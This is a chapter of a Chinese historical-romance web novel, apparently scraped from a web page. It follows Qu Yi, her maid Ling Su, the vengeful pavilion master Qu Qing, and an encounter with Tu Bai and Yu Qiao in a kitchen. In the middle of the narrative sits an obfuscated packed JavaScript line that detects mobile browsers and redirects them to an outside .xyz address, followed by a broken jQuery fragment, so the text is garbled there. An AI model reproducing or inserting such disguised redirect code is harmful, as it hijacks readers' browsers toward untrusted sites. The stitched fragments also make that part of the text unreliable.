凌素欲言又止,“蛮力留下,到底不如心甘情愿。”
曲意秀眉微蹙,拉起凌素的手说,“有话只管说就是,姐姐信你才叫你跟着我,我最信她,自然也信她的人。”
凌素试探问,“姑娘如何看待太子?”
曲意略微一怔,旋即认真思索道,“我也未见过他几面,硬要说的话,他嘴上欠,心思却重,总对我动手动脚,故意惹我生气,还有,他的模样着实俊俏,是我见过最俊的男子,竟像是那志怪小说上的妖精似的,只是我不好意思一直盯着他看。”
凌素听了这话,又忧又气,“他何时与你动手动脚了?”
“就是之前见的时候,也没做什么,最多就是搂了搂,抱...了抱”,曲意瞧着凌素愈发黑沉的脸,吓得声音越来越小。
“姑娘可知,闺中女子最忌男女大防?”
曲意垂眸,低声解释,“我知道的,昔日母亲同姐姐说的时候,我也依稀听到了一些,小说上亦曾看到过。”
“既如此,为何没有...,我的意思是,若是别的男子对你动手动脚,你也...”
凌素这话说得断断续续,曲意却听懂了,答道,“也不是,从前哥哥带着一大堆好东西回家时,我也会扑上去抱他,因为我哥哥也是个美男子,不过若是小白就不行,他长得不好看,我不喜欢。”
曲府里,白弗不知为何打了个喷嚏,可怜他还笑呵呵地以为是哪家姑娘想他了呢。
“至于脸红,或许是因为太子的模样,我曾看过的小说里有个男妖精,专吸貌美女子的精气,书里将这过程写得十分详尽,而我看得也挺细致的缘故吧...”
曲意羞极了,深深埋着头,手中攥着被角反复揉搓。
原来,曲含章给曲意四处搜刮来的小说,自己竟从不曾看过,真是坑了亲妹尚不自知。
凌素只觉头顶天雷滚滚,这些小说究竟都写了些什么,没得教坏了闺阁中的女儿。她忍不住直接问,“姑娘只需回我,心中是否中意太子?”
曲意猛地抬头,惊道,“中意太子?”
曲意见凌素直勾勾地看着自己,反问,“你何故觉得我中意太子?这是哪里来的话,我何时说过我中意他?”
“若如姑娘所言,太子是难得一见的丰神俊朗,姑娘又为何不中意?”
曲意眉头紧锁,鄙夷道,“若照你这么说,岂不是这世间所有美男子我都要中意?我只是见他长得好看,多看几眼罢了,若明儿遇见别的长得更好看的男子,我也会这样偷偷盯着他看的呀。至于我的婚事,我只听姐姐的。”
凌素听了这话,心下稍安,她原是瞧着太子有心撩拨曲意,又怕有朝一日事成,太子过河拆桥,曲意为此伤情。
春江楼,曲情细细读过凌素来信,瞧见“动手动脚”那部分,气得砸了好几个杯子。
王伯张了张嘴却还是没敢劝上一句,只俯下身收拾了碎瓷片。
曲情提笔回信,提及曲意自幼体弱,叮嘱凌素为其好生调理,诸事多上心照料,再有便是谨慎应对太子府中人,尤其是那余巧。
待信送出后,王伯才说起另一件事来,“阁主,商桀施回京了。”
曲情正一肚子气没处撒,“回来得好,南安王府的守卫图可有了?”
“有是有了,可若直接闯进去动静太大,请阁主再给我些时间,我想再研究研究,或许还有更好的法子。”
曲情冷冷说,“将图给我。”
王伯担忧道,“阁主既要报仇,在他返程路上派人杀了多干净,何必要等他回来,风险不知大了多少。”
“因为我不只要他死,我还要他众叛亲离、死无葬身之地。”曲情冷眼瞥向王伯,沉声又说了一遍,“将图给我。”
“唉——”,王伯只得妥协,将图交了出去。
秋夜风寒,王伯走出暗室,捂着嘴迎风轻咳了几声,再张开手时,掌心已染上了斑斑血渍,经年旧疾发作,早已是药石无医,他低低叹息,“萧斯,你的徒儿她长大了,可这孩子再怎么变,也改不了骨子里胆大执拗的性子。我老了,也不知还能陪她几年,若有一日再照看不了她了,叫我这心里如何放得下啊。我最近常常在想,也许是你错了,你托我保密之事,或许早该告诉她,情儿是个有孝心的,多少年了,她从未放弃过寻你,若有一日我说漏了嘴,你要怪我,便地下相见时再怪吧。”
次日,曲意早早就饿醒了,在床上翻来覆去难受得很,这也难怪,昨儿她昏睡一日,几乎粒米未进。
凌素因不放心她的病症,也没有去收拾侧房,而是在她旁边的耳房里将就了一夜,此时睡得正熟。
曲意不好意思叫醒她,又实在饿得厉害,只得蹑手蹑脚地从床上爬了起来,洗漱穿戴一番,独自出了院子,循着粥饭香,胡乱寻着去灶房的路。
她先是走过几个荒废着的小院子,再沿着石板路往前走了几百步,见到个养着许多大红锦鲤的池塘,顺着池子上的拱桥过去,入目的是一个极干净的小院,院门上题着块匾“乱花狂絮”,这意味竟与院中整洁干净之象天壤之别,越过这院子,不过几十步远便是灶房。
不知为何,明明正是准备早膳的时候,灶房的门却关着,曲意敲了敲门,无人应答,随即伸手一推,那门原是虚掩着,“吱呀”一声便开了。
灶房内空无一人,曲意揉了揉饿得咕咕叫的肚子,朝着一旁飘着诱人香气的笼屉走了过去,她揭开笼帽,见里面是蒸好的肉包子,喜滋滋地夹了几个出来,装在一旁空置的食盒里,准备带回去与凌素两个人吃。
正当她转身要走时,角落里乍然响起一声尖锐古怪的吆喝,“有贼!有贼啊!贼人给我站住,不许跑!”
曲意真真吓了一跳,身形猛地顿住,一动也不敢动。
待到叫喊声停了,曲意以为是没见过她的人误会了她是贼,便转过头来,想要解释一番,怎料一回头就见着一张凑得极近极丑陋,变形扭曲得不似人脸的一张面皮。
“啊——!”
曲意吓得扬了手里的食盒,向后跌坐去,屁股重重摔在地上,疼得她“哎呦”一声,包子撒了一地,连馅都甩了出来,弄得满地狼藉。
不怪曲意害怕,那人着实十分恐怖,右边脑袋向下凹进去一大块,便是放个包子进去都能托住了,两只眼珠子却又往外凸着,好似使劲瞪一瞪便会掉出来,鼻涕口水还有油水一并糊在脸上,和着炭灰搅在一起,面皮上半分肉色都没了,四肢枯瘦如柴,偏肚子跟怀了个十二月的娃儿一般又大又鼓,声音尖锐,声调古怪,男女难辨,更辨不出具体年纪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625966|172360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那人见包子掉了一地,也不再管曲意了,而是像条狗一般,扑向了地上的包子,也不管干净不干净,抓住就往嘴里使劲塞,眼睛放光地盯着地上散落的肉馅,像是恨不得舔干净一般。
起初,曲意吓得不敢睁眼,可耳边传来的大口大口咀嚼吞咽的声音,又令她有些奇怪,于是她试探地眯着眼睛看了看,只见那人撅起的屁股一拱一拱的,努力啃着地上的包子。
曲意瞧了她许久,壮着胆子问了句,“你...你在干什么?”
那人嘴里不停,硬是从牙缝里挤出两个字,“吃肉!”
她的语气坦荡畅快,若不是形容实在狼狈,倒像是在酒楼里大快朵颐一般。
曲意暗暗猜测,此人恐怕脑子有些问题,故而惧意消了许多,可腿仍是软着,一时站不起来。
又过半晌,曲意有些怜悯地小声说,“那个包子脏了,别吃它了,笼屉里还有好的。”
那人却浑不在意,“能吃,能吃,好吃,好吃。”
这下曲意也不知该说什么了,呆坐在地上望着她,心中不知是何滋味。
“荼白!你在做什么?”余巧风一般刮了进来,一把拉起仍伏在地上吃着包子的人。
原来她竟有一个与相貌极不符的名字,荼白。
余巧瞥了曲意一眼,“姑娘也快些起来吧,生怕别人不知道你是谁么?”
曲意一见到余巧便悬起了整颗心,防备非常更甚之先前那怪人,什么叫做生怕别人不知道她是谁?那余巧又知道她是谁?
曲意攀着灶台徐徐站起身来,冷幽幽的目光始终盯着余巧背影。
余巧却不再在意她,自怀中抽出手帕,沾了些清水,细细给荼白擦着脸,待灰擦净了,曲意才看出,这应是一位三十来岁的女子,且不论那扁了的脑袋和肿胀不堪的眼睛,倒也是肌肤细腻,唇红齿白的。
擦净了脸,余巧又去摆弄荼白的衣服,直到将她整理得看起来像是个丑丑的“人”了,余巧才又开口,“昨儿不是说了,姑娘应去饭厅与殿下一同用膳的,怎么自己巴巴地来了这里?”
曲意闷闷道,“一日未曾进食,我饿得紧,便出来寻些吃的。”
“若只寻吃的也罢了,这包子如何惹了你,非要把它们粉身碎骨不可?又或者是姑娘亏心事做得多了,见了什么都怕得很,若是再来几遭,恐怕便要吓死了。”
曲意两次见余巧,她均是这般无理尚讲三分,得理更不饶人的样子,因此心中不悦,俗话说打蛇当打七寸,曲意打定主意不要对方好过,于是同样阴阳怪气道,“我死与活,你不在乎,想必殿下却在乎得很,倒是你十分在意的这丑八怪,不知倘若死了,除你之外,可还有人在意?”
余巧气急反笑,“姑娘不必与我置气,我算是个什么,深宫大院里下等的奴婢罢了,姑娘一阁之主,切莫忘了身份。”
若论唇舌,曲意竟是不如余巧的。
话至此处,倒叫曲意无法继续发作,虽有些不痛快,可...曲意瞄了眼“呵呵”傻乐的荼白,算了罢。
恰是此时,门外却有一人,闲庭信步而至,笑意和暖,出口之言却伤人不已,“阁主果真知我心意,那丑八怪如何能与你相提并论,死后化灰、扬散无形,擦肩而过尚不可知,如何配令人在意?”